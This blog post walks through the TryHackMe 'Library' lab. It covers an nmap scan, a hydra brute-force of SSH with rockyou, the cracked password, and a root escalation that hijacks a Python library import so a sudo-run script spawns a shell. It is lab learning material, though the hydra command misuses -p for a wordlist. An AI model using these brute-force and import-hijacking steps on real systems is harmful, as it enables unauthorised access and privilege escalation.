Try-hack-me

LIBRARY : Walkthrough

Today we are going to take a new challenge Library. It is a boot2root challenge where we have to root the server to complete the challenge. You redirect this VM here.

Scanning:

Let’s start off with the scanning process. We used our favorite tool Nmap for port scanning. We found that port 22 and 80 are open.

#nmap -A -sC -sV <target IP>


Enumeration:

As we can see port 80 is open, we opened the IP address in our browser.


We got username: meliodas


Let's explore robots.txt as well.
Little hint as rockyou can be seen.

Exploitation:

Let's hit it (bruteforcing) using hydra..
#hydra -l meliodas -p /usr/share/wordlists/rockyou.txt <target IP> -t 64


we found the password as iloveyou1.

Time for action, as port 22 ssh is open lets get the shell:

#ssh meliodas@<target IP>

Now getting the user flag


To get the root.txt we need to get the root shell of the machine, for this privilege escalation we need to see the permissions:

#sudo -l



We cannot write to this file.

#cat bak.py


This python file import a library named zipfile, so we create a new “zipfile.py” file in the same directory.

#
echo 'import os; os.system("/bin/sh")' > zipfile.py

and 

#sudo python /home/meliodas/bak.py

Time to get the final flag




Thank you very much for reading. I hope you find this blog useful.

!!!!Happy Hacking!!!!











Comments

Popular posts from this blog

Try Hack Me - Simple CTF